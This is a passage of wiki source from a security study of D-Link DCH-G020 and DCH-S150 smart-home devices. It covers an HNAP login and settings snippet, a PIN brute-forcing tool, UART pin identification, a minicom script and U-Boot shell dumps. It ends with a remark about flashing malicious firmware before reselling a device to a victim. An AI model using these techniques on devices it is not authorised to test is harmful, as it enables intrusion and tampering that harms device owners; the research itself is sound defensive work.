function send_login_cmd_result(http_req){&lt;br /&gt;
	var xmlDoc = $.parseXML(http_req.responseText);&lt;br /&gt;
console.log(&amp;quot;Login: &amp;quot;+$(xmlDoc).find(LOGIN + &amp;quot;Result&amp;quot;).text());&lt;br /&gt;
send_custom_cmd();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$(&amp;quot;#user_pwd&amp;quot;).val(PIN);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;PrivateKey&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
localStorage.setItem(&amp;quot;PublicKey&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
localStorage.setItem(&amp;quot;Challenge&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
console.clear();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;nowiki&amp;gt;More complex SOAP action&amp;lt;/nowiki&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var WLAN_PASSWORD =     AES_Encrypt128(&amp;quot;8482c238&amp;quot;); //Needs: localStorage.getItem(&#039;PrivateKey&#039;)&lt;br /&gt;
&lt;br /&gt;
var HNAP_ACTION   = 	&amp;quot;SetAPClientSettings&amp;quot;;&lt;br /&gt;
var HNAP_PARAM    = 	&amp;quot;&amp;lt;RadioID&amp;gt;RADIO_2.4GHz&amp;lt;/RadioID&amp;gt;&amp;quot;+&lt;br /&gt;
			&amp;quot;&amp;lt;Enabled&amp;gt;true&amp;lt;/Enabled&amp;gt;&amp;quot;+&lt;br /&gt;
			&amp;quot;&amp;lt;SSID&amp;gt;DCH-G020-58F4&amp;lt;/SSID&amp;gt;&amp;quot;+&lt;br /&gt;
			&amp;quot;&amp;lt;MacAddress&amp;gt;c4:12:f5:1a:58:f4&amp;lt;/MacAddress&amp;gt;&amp;quot;+&lt;br /&gt;
			&amp;quot;&amp;lt;ChannelWidth&amp;gt;1&amp;lt;/ChannelWidth&amp;gt;&amp;quot;+&lt;br /&gt;
			&amp;quot;&amp;lt;SupportedSecurity&amp;gt;&amp;quot;+&lt;br /&gt;
				&amp;quot;&amp;lt;SecurityInfo&amp;gt;&amp;quot;+&lt;br /&gt;
					&amp;quot;&amp;lt;SecurityType&amp;gt;WPA2-PSK&amp;lt;/SecurityType&amp;gt;&amp;quot;+&lt;br /&gt;
				      	&amp;quot;&amp;lt;Encryptions&amp;gt;&amp;lt;string&amp;gt;AES&amp;lt;/string&amp;gt;&amp;lt;/Encryptions&amp;gt;&amp;quot;+&lt;br /&gt;
				&amp;quot;&amp;lt;/SecurityInfo&amp;gt;&amp;quot;+&lt;br /&gt;
			&amp;quot;&amp;lt;/SupportedSecurity&amp;gt;&amp;quot;+&lt;br /&gt;
			&amp;quot;&amp;lt;Key&amp;gt;&amp;quot;+WLAN_PASSWORD+&amp;quot;&amp;lt;/Key&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;HNAP0wn&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;HNAP0wn is a graphical tool that allows us to find devices that use the Home Network Administration Protocol (HNAP) &amp;lt;b&amp;gt;([[File:HNAP Protocol.pdf]])&amp;lt;/b&amp;gt;, collect information about them, and inject commands. Additionally it contains a method to brute-force the PIN of mydlink devices as mentioned above. More about this tool can be found in the article [[HNAP0wn: The Home Network Administration Protocol Owner]].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Offline&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In order to gain a better understanding of how the sensor works and responds to incoming commands, the examination began with the physical opening of the motion sensor with the intention of gaining backdoor access through a Universal Asynchronous Transmitter and Receiver (UART) Serial interface which can be found on many embedded devices.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Preliminary examination&amp;lt;/b&amp;gt;: Many embedded devices are difficult to disassemble physically. Either it is an ingenious construction consisting of many small individual parts that do not like to be separated from each other, or it is a simple clipping system which is still very difficult to open without damaging the enclosure. In any case, it is worth taking a look at the database of the Federal Communications Commission (FCC) first, before venturing into the hardware. The FCC Regulation Database contains useful information about all devices approved by the FCC for the American market. The FCC ID is a unique alphanumeric code that is usually found on the product label, packaging, or online. It is the product ID assigned by the FCC to identify products in the market. The FCC chooses 3 or 5 character &amp;lt;i&amp;gt;Grantee&amp;lt;/i&amp;gt; codes to identify the business that created the product. For example, the grantee code for FCC ID: &amp;lt;i&amp;gt;KA2CHG020A1&amp;lt;/i&amp;gt; is &amp;lt;i&amp;gt;KA2&amp;lt;/i&amp;gt;. The remaining characters of the FCC ID, &amp;lt;i&amp;gt;CHG020A1&amp;lt;/i&amp;gt;, are often associated with the product model, but they can be random. These letters are chosen by the applicant. Information accessible by [https://www.fcc.gov/oet/ea/fccid FCC ID] or by using this [https://fccid.io/ alternative client]: Test Setup Photos, Test Report, Cover Letter(s), RF Exposure Info, Users Manual, ID Label/Location Info, Internal Photos, External Photos, Operational Description, Schematics and/or Block Diagram.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
* Test Setup Photos&lt;br /&gt;
* Test Report&lt;br /&gt;
* Cover Letter(s)&lt;br /&gt;
* RF Exposure Info&lt;br /&gt;
* Users Manual&lt;br /&gt;
* ID Label/Location Info&lt;br /&gt;
* Internal Photos&lt;br /&gt;
* External Photos&lt;br /&gt;
* Operational Description&lt;br /&gt;
* Schematics&lt;br /&gt;
* Block Diagram&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;[https://fccid.io/KA2 D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; FCC Applications: KA2]&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;[https://fccid.io/KA2CHG020A1 DCH-G020 Home Hub FCCID: KA2CHG020A1]&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;[https://fccid.io/KA2CHS150A1 DCH-S150 Motion Sensor FCCID: KA2CHS150A1]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;These &amp;lt;b&amp;gt;Documents&amp;lt;/b&amp;gt; must be submitted by the manufacturer for certification of a device and are accessible to the end-user. The internal photos are of great interest, as they can provide information on whether On-Chip Debug (OCD) interfaces like the UART are available or not. However, this decision is based on experience, and it is never possible to tell whether OCD interfaces are available by just looking at a photo of the board and can only be done by physical intervention, which will be explained in the next section. Additional regional databases of regulatory organizations may also be useful since not every device has FCC approval.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Disassembly&amp;lt;/b&amp;gt; typically requires a few tools and strong nerves. A smaller Phillips screwdriver (PH0/PH3) and some plastic opening tools are generally sufficient. Furthermore, some additional tools were used. These are a USB-to-TTL converter ([https://www.aliexpress.com/af/CH340G.html?d=y&amp;amp;origin=n&amp;amp;SearchText=CH340G&amp;amp;catId=0&amp;amp;initiative_id=SB_20200202032157 CH340G]) shipped from china for the cost of one buck and a common multimeter to determine the pin assignment. Alternative instruments are introduced as needed. The functions of the CH340G can also be performed by a development board like the Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-G020: Gateway Connected Home Hub&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;DCH-G020 Home Hub: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:DCH-G020_PCB_Front.JPG|Front&lt;br /&gt;
image:DCH-G020_PCB_Back.JPG|Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-S150: Home Wi-Fi Motion Sensor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;width: 100%; text-align: left;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;DCH-S150 Motion Sensor: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:DCH-S150_PCB_Front.JPG|Front&lt;br /&gt;
image:DCH-S150_PCB_Back.JPG|Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;On-Chip Debug&amp;lt;/h3&amp;gt;&lt;br /&gt;
[[File:CH340G_USB_to_UART.png|150px|right|thumb|CH340G: USB-to-TTL]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Universal Asynchronous Transmitter and Receiver (UART) serial interface is a rather old hardware component which is still the standard debugging interface of most microcontrollers. Data transmission takes place directly via the Transmit (TX) and Receive (RX) lines without handshake so that no additional lines are required. This type of serial communication is referred to as TTL-UART and is only suitable for data transmission over short distances. However, a common GND connection is indispensable for error-free data transmission. The RS-232 standard, on the other hand, uses six additional control lines. In the following, the term UART will refer to a TTL-UART (Transistor-Transistor Logic).  Furthermore, no distinction is made between UART and the more specific USART (Universal Synchronous Asynchronous Receiver Transmitter) component.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Identification&amp;lt;/b&amp;gt; of potential UART interfaces can be done after the devices have been dissembled so that the PCB is freely accessible. The basic rule for identifying UART interfaces is to search for 3 or 4 contiguous pins, holes, or pads on the exposed board. These may be placed and labeled in obvious locations, or they may be hidden between other test points. Alternatively, the conductor tracks on the PCB can be evaluated. This method is especially useful when searching for hidden interfaces.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Confirmation&amp;lt;/b&amp;gt; is still required after identifying a potential UART interface. A logic analyzer or oscilloscope are of great advantage here, since they can determine the pin assignment very conveniently. In the case of the UART, this is not necessary, since the pin assignment can also be determined with a multimeter and some trial-and-error. GND is determined by a continuity test and VCC by its constant voltage. UART usually transmits with 3.3V, but in some cases, it can also be 1.8V or 5V. In the best case, TX is transmitting when determining the pin assignment, and a varying voltage between 0V and VCC can be observed since TX is the active component of the UART. If TX is not transmitting, there will be no voltage on RX and TX. Then it is necessary to check which of the two pins reacts to the input of the terminal and which one provides the output on display. The VCC connector does not need to be present or used in such a setup. It is best avoided, as incorrect wiring can cause damage to the host or slave if the electronics do not have suitable protection mechanisms. In rare cases, the GND pin will also be omitted. UART does not have to provide a designated GND pin but can be connected to the ground plane of the PCB at any point. The [https://wiki.elvis.science/index.php?title=JTAGulator JTAGulator] may also be used for convenient UART detection, by following the guide &amp;quot;[[JTAGulator: Find IoT-Device&#039;s UART interface]]&amp;quot; or by following these quick steps using a common multimeter DVOM:&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;GrouND (GND)&amp;lt;/b&amp;gt;: Use the continuity test (beeper) on your DVOM. Place one of the test leads on the pin in question and touch with the other lead any connection to ground on the PCB board. These are most visible golden contacts with no electronic soldered to it or for example the metal cover on a WIFI chip.&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Voltage (VCC)&amp;lt;/b&amp;gt;: Note that this pin can cause damage if misconnected! Set the DVOM to Direct Current (DC) with the Voltage (V) limit just above 5V. Place one of the test leads on the pin in question and touch with the other lead any connection to ground (could be a plug socket). A constant Voltage of 1,8V, 3,3V or 5V must be detected on one pin.&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Transmit (TX)&amp;lt;/b&amp;gt;: The active, sending component of the interface. While using the same configuration on the DVOM as for the VCC pin, this pin should have varying voltage since it is (usually) transmitting data by default.&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;Receive (RX)&amp;lt;/b&amp;gt;: The passive, receiving component of the interface. While using the same configuration on the DVOM as for the VCC pin, this pin should have constant voltage of 0V since it is only listening for incoming data. But it shouldn&#039;t pass the continuity test as for detecting GND.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;A &amp;lt;b&amp;gt;Connection&amp;lt;/b&amp;gt; via serial console can be established as soon as a corresponding UART interface is identified and confirmed. Examples of serial console programs are [https://www.decisivetactics.com/products/serial/ Serial] (macOS), [https://salsa.debian.org/minicom-team/minicom minicom] (UNIX) and [https://www.putty.org/ Putty] (Windoofs), and a USB-to-TTL converter is most likely required with modern computers. Its use requires additional configuration of the console of the terminal device from which the connection is to be established. This includes the specification of Baudrate in bits per second, Data Bits (7 or 8), Parity (none, even or odd) and Stop Bits (1 or 2). The configuration of the baud rate, which specifies the transmission rate in bits per second, should be sufficient in most cases. An oscilloscope or a logic analyzer can be used again to determine the baud rate. Alternatively, the usual baud rates, such as 9600, 19200, 38400, 57600, and 115200 b/s, can be tried out until something readable appears in the terminal. A wrong configuration will result in data not being recognized correctly, both when sending and receiving data, and thus pure gibberish will be displayed. Additional configurations should not be necessary, as it rarely deviates from the standard configuration of (8N1), which stands for 8 data bits, parity none, and one stop bit. The result of this configuration is an interface to the local terminal of the target devices, which can be used in further steps to analyze or extract the firmware.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; PCB: UART Pinout&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;DCH-G020 Home Hub: Webpage&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #a7d7f9; background-color: #f8f9fa; border-radius: 3px&amp;quot; heights=250px&amp;gt;&lt;br /&gt;
image:DCH-S150 PCB UART.jpg|DCH-S150&lt;br /&gt;
image:DCH-G020 PCB UART.jpg|DCH-G020&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: When using a Raspberry Pi, the GPIOs 14 and 15 respectively, which are pins 8 and 10 on the GPIO header, need to be reconfigured in order to use UART instead of BT. Here the official [https://www.raspberrypi.org/documentation/configuration/uart.md raspberry pi documentation] can be referred to.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;After setting up a serial client in any form, the command line tool &amp;quot;minicom&amp;quot; can be used on UNIX-based systems to initialize a connection. Refer to the following bash script to start the console client (e.g. Raspberry Pi 2b+ (/dev/ttyAMA0)), providing additional functions in order to manage logs per UART session. The script accepts the baudrate as first and the serial interface as second parameter.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: lightgrey; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; openConsole.sh $BAUD_RATE $DEVICE&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 BAUD_RATE=$1&lt;br /&gt;
 $DEVICE=$2&lt;br /&gt;
 SPWD=&amp;quot;$( cd &amp;quot;$(dirname &amp;quot;$0&amp;quot;)&amp;quot; ; pwd -P )&amp;quot;&lt;br /&gt;
 LOG=$SPWD/logs/minicom_$(date -u +&amp;quot;_%Y-%m-%d_%H:%M:%S&amp;quot;).log&lt;br /&gt;
 &lt;br /&gt;
 minicom -b $BAUD_RATE -o -D $DEVICE -C $LOG&lt;br /&gt;
 &lt;br /&gt;
 echo -e &amp;quot;\033[1mLog: \033[0m&amp;quot;$LOG&amp;quot;\033[1m&amp;quot;&lt;br /&gt;
 echo -e -n &amp;quot;Delete (\033[0;31mrm\033[0m) || Save and See (\033[0;31mcat\033[0m) || Move (\033[0;31mmv\033[0m)? &amp;quot;&lt;br /&gt;
 read -p &#039;&#039; choice&lt;br /&gt;
 case &amp;quot;$choice&amp;quot; in &lt;br /&gt;
   &amp;quot;rm&amp;quot; ) rm $LOG;;&lt;br /&gt;
   &amp;quot;cat&amp;quot; ) cat $LOG;;&lt;br /&gt;
   &amp;quot;mv&amp;quot; ) read -p &amp;quot;Destination: &amp;quot;$SPWD F &amp;amp;&amp;amp; mv $LOG $SPWD$F;;&lt;br /&gt;
 esac&lt;br /&gt;
 &lt;br /&gt;
 ls -Ali $SPWD&amp;quot;/logs&amp;quot; | sed &#039;/^t/d&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Bootloader&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The Bootloader is of great interest. The Universal Bootloader (U-Boot) is possibly the most frequently used in the embedded world. U-Boot offers a shell that can be accessed when the system is booting third-stage. To do this, the autoboot process must be interrupted, which usually gives a few seconds to do so by pressing the appropriate key. The available options, such as the boot delay and key-to-press, are displayed on the console. The bootloader can be password protected, which was not the case with any tested device here. From the bootloader, several useful actions can be performed. Firmware dumps or updates can also be performed from the bootloader, which owns the highest privileges and full access to the hardware without restrictions.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-G020: Gateway Connected Home Hub&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;ath&amp;gt; ?&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootd   - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
help    - print online help&lt;br /&gt;
httpd   -  simple httpd server&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing)&lt;br /&gt;
mtest   - simple RAM test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
ping    - send ICMP ECHO_REQUEST to network host&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
progmac - Set ethernet MAC addresses&lt;br /&gt;
progmac2 - Set ethernet MAC addresses&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
run     - run commands in an environment variable&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
version - print monitor version&lt;br /&gt;
ath&amp;gt; version&lt;br /&gt;
&lt;br /&gt;
U-Boot 1.1.4--LSDK-10.1.432 (Mar 17 2015 - 19:24:10)&lt;br /&gt;
ath&amp;gt; printenv&lt;br /&gt;
bootargs=console=ttyS0,115200 root=31:6 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(bootarg),2048k(uImage),12736k(rootfs1),64k(log),512k(mydlink),512k(data1),128k(data2),64k(data3)&lt;br /&gt;
bootcmd=bootm 0x9f050000&lt;br /&gt;
bootdelay=2&lt;br /&gt;
baudrate=115200&lt;br /&gt;
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee&lt;br /&gt;
ipaddr=192.168.0.60&lt;br /&gt;
serverip=192.168.0.100&lt;br /&gt;
dir=&lt;br /&gt;
lu=tftp 0x80060000 ${dir}tuboot.bin&amp;amp;&amp;amp;erase 0x9f000000 +$filesize&amp;amp;&amp;amp;cp.b $fileaddr 0x9f000000 $filesize&lt;br /&gt;
lf=tftp 0x80060000 ${dir}ap143${bc}-jffs2&amp;amp;&amp;amp;erase 0x9f010000 +$filesize&amp;amp;&amp;amp;cp.b $fileaddr 0x9f010000 $filesize&lt;br /&gt;
lk=tftp 0x80060000 ${dir}vmlinux${bc}.lzma.uImage&amp;amp;&amp;amp;erase 0x9f300000 +$filesize&amp;amp;&amp;amp;cp.b $fileaddr 0x9f300000 $filesize&lt;br /&gt;
stdin=serial&lt;br /&gt;
stdout=serial&lt;br /&gt;
stderr=serial&lt;br /&gt;
ethact=eth0&lt;br /&gt;
&lt;br /&gt;
Environment size: 754/65532 bytes&lt;br /&gt;
ath&amp;gt; &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: lightgrey; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-S150: Home Wi-Fi Motion Sensor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
ath&amp;gt; ?&lt;br /&gt;
?         - alias for &#039;help&#039;&lt;br /&gt;
boot      - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootd     - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm     - boot application image from memory&lt;br /&gt;
cp	      - memory copy&lt;br /&gt;
erase     - erase FLASH memory&lt;br /&gt;
help      - print online help&lt;br /&gt;
md        - memory display&lt;br /&gt;
mm        - memory modify (auto-incrementing)&lt;br /&gt;
mtest     - simple RAM test&lt;br /&gt;
mw        - memory write (fill)&lt;br /&gt;
nm        - memory modify (constant address)&lt;br /&gt;
ping      - send ICMP ECHO_REQUEST to network host&lt;br /&gt;
printenv  - print environment variables&lt;br /&gt;
progmac   - Set ethernet MAC addresses&lt;br /&gt;
progmac2  - Set ethernet MAC addresses&lt;br /&gt;
reset     - Perform RESET of the CPU&lt;br /&gt;
run       - run commands in an environment variable&lt;br /&gt;
setenv    - set environment variables&lt;br /&gt;
tftpboot  - boot image via network using TFTP protocol&lt;br /&gt;
version   - print monitor version&lt;br /&gt;
&lt;br /&gt;
ath&amp;gt; printenv&lt;br /&gt;
&lt;br /&gt;
bootargs=console=ttyS0,115200 root=31:08 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(A)&lt;br /&gt;
bootcmd=bootm 0x9f2b0000; setenv bootargs console=ttyS0,115200 root=31:06 rootfstype=squashfs init=/sbin/init m0&lt;br /&gt;
bootdelay=2&lt;br /&gt;
baudrate=115200&lt;br /&gt;
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee&lt;br /&gt;
ipaddr=192.168.0.60&lt;br /&gt;
serverip=192.168.0.100&lt;br /&gt;
dir=&lt;br /&gt;
lu=tftp 0x80060000 ${dir}tuboot.bin&amp;amp;&amp;amp;erase 0x9f000000 +$filesize&amp;amp;&amp;amp;cp.b $fileaddr 0x9f000000 $filesize&lt;br /&gt;
lf=tftp 0x80060000 ${dir}ap143${bc}-jffs2&amp;amp;&amp;amp;erase 0x9f010000 +$filesize&amp;amp;&amp;amp;cp.b $fileaddr 0x9f010000 $filesize&lt;br /&gt;
lk=tftp 0x80060000 ${dir}vmlinux${bc}.lzma.uImage&amp;amp;&amp;amp;erase 0ø9f300000 +$filesize&amp;amp;&amp;amp;cp.b $fileaddr 0x9f300000 $filese&lt;br /&gt;
&lt;br /&gt;
stdin=serial&lt;br /&gt;
stdout=serial&lt;br /&gt;
stderr=serial&lt;br /&gt;
ethact=eth0&lt;br /&gt;
&lt;br /&gt;
Environment size: 1106/65532 bytes&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: From those commands provided by U-Boot, the &amp;quot;setenv&amp;quot; and &amp;quot;tftpboot&amp;quot; could be very interesting to inject a mallicious firmware, f.e. before selling the modified device over the internet to a potential victim.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
